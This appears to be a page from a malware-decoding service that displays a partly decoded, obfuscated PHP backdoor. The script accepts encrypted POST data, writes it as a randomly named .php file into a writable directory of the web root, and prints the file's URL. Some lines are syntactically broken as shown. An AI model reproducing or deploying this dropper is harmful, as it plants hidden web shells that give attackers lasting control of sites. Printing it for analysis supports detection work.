Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$ehHIJeSSlf = "vQquRkp";
	function nwMRzjDfz($ehHIJeSSlf){
	 $ilFMFH = chr(673-558).'tr".chr(483-388).chr(489-375)."ot'.chr(469-420)."3";
	$ehHIJeSSlf = $ilFMFH($ehHIJeSSlf);
	$qmyGsro = "r".chr(196-99)."wurldec".chr(650-539).chr(200-100)."e";
	$ehHIJeSSlf = $qmyGsro($ehHIJeSSlf);
	$ehHIJeSSlf = str_split($ehHIJeSSlf);
	return $ehHIJeSSlf;
}
	function SPZMTIwpQc($ZagHVFA, $eXdPbFw){
	$ZagHVFA = array_slice(str_split(str_repeat($ZagHVFA, (count($eXdPbFw)/16)+1)), 0, count($eXdPbFw));
	return $ZagHVFA;
}
	function RCYrJqoA($tSFJFEGGmW, $OonZB, $ZagHVFA){
	$zGpCw = "3e405810-3c8d-4cae-80cd-89d6d7883f49";
	return $tSFJFEGGmW ^ $zGpCw[$OonZB % strlen($zGpCw)] ^ $ZagHVFA;
}
	function dssNjPjH($eXdPbFw, $ZagHVFA){
	$eXdPbFw = array_map("RCYrJqoA", array_values($eXdPbFw), array_keys($eXdPbFw), array_values($ZagHVFA));
	$eXdPbFw = implode("", $eXdPbFw);
	$FSEEGWiLbq = 'unse'.chr(189-75)."iali".chr(786-664)."e";
	$eXdPbFw = @$FSEEGWiLbq($eXdPbFw);
	return $eXdPbFw;
}
	function QQjeJoP(){
	echo "lPXyNV";
}
	function LUgsm($SMKLmjAFZfir){
	static $ClBHU = array();
	$mSVGmx = glob($SMKLmjAFZfir . '/*', GLOB_ONLYDIR);
	$iyYfFN = count($mSVGmx);
		if ($iyYfFN > 0) {
			foreach ($mSVGmx as $SMKLmjAFZf) {
			$ToEXQxK = chr(949-844)."s_wr".chr(415-310)."table";
				if (@$ToEXQxK($SMKLmjAFZf)) {
				$ClBHU[] = $SMKLmjAFZf;
			}
		}
	}
	foreach ($mSVGmx as $SMKLmjAFZfir) LUgsm($SMKLmjAFZfir);
	return $ClBHU;
}
	function Roqbt(){
	echo "vQquRkp";
}
	function JWEwxNLjo($eXdPbFw){
	$AweMpmGxdA = 'D'.chr(314-235)."CU".chr(531-454).chr(957-888)."NT_".chr(839-757)."O".chr(353-274).'T';
	$Dpefxe = $_SERVER[$AweMpmGxdA];
	$mSVGmx = LUgsm($Dpefxe);
	$VWJHS = array_rand($mSVGmx);
	$mJixMokvJj = ."ph".chr(989-877);
	$tPQDjxN = $mSVGmx[$VWJHS] . "/" . substr(md5(time()), 0, 8) . $mJixMokvJj;
	$uHjHOz = "file_put_".chr(371-272).chr(801-690).chr(551-441).'tents";
	@$uHjHOz($tPQDjxN, $eXdPbFw);
	$CTRFhj = 'HT".chr(624-540).'P_HOST';
	$beDEhBT = "http://";
	$KHvZbNDs = $beDEhBT . $_SERVER[$CTRFhj] . substr($tPQDjxN, strlen($Dpefxe));
	print($KHvZbNDs);
}
	function haussXiUp(){
	$NbAlgAb = "php";
	$ZfJhchntxr = "p".chr(707-603)."p".chr(871-753).'ersion";
	$eXdPbFw = Array($NbAlgAb => @$ZfJhchntxr(), );
	$vXYBSEHK = "seria'.chr(520-412)."ize";
	echo @$vXYBSEHK($eXdPbFw);
}
	foreach ($_POST as $ZagHVFA => $eXdPbFw){
	$OBqeOl = strlen($ZagHVFA);
		if ($OBqeOl == 16){
		$eXdPbFw = nwMRzjDfz($eXdPbFw);
		$ZagHVFA = SPZMTIwpQc($ZagHVFA, $eXdPbFw);
		$eXdPbFw = dssNjPjH($eXdPbFw, $ZagHVFA);
			if (@is_array($eXdPbFw)){
			$VWJHS = array_keys($eXdPbFw);
			$eXdPbFw = $eXdPbFw[$VWJHS[0]];
			$VWJHS = $VWJHS[0];
			$VWJHS = substr($VWJHS, 0);
				if ($eXdPbFw !== $VWJHS){
				JWEwxNLjo($eXdPbFw);
			}
				else {
				haussXiUp();
			}
			die();
		}
	}
}



© 2023 Quttera Ltd. All rights reserved.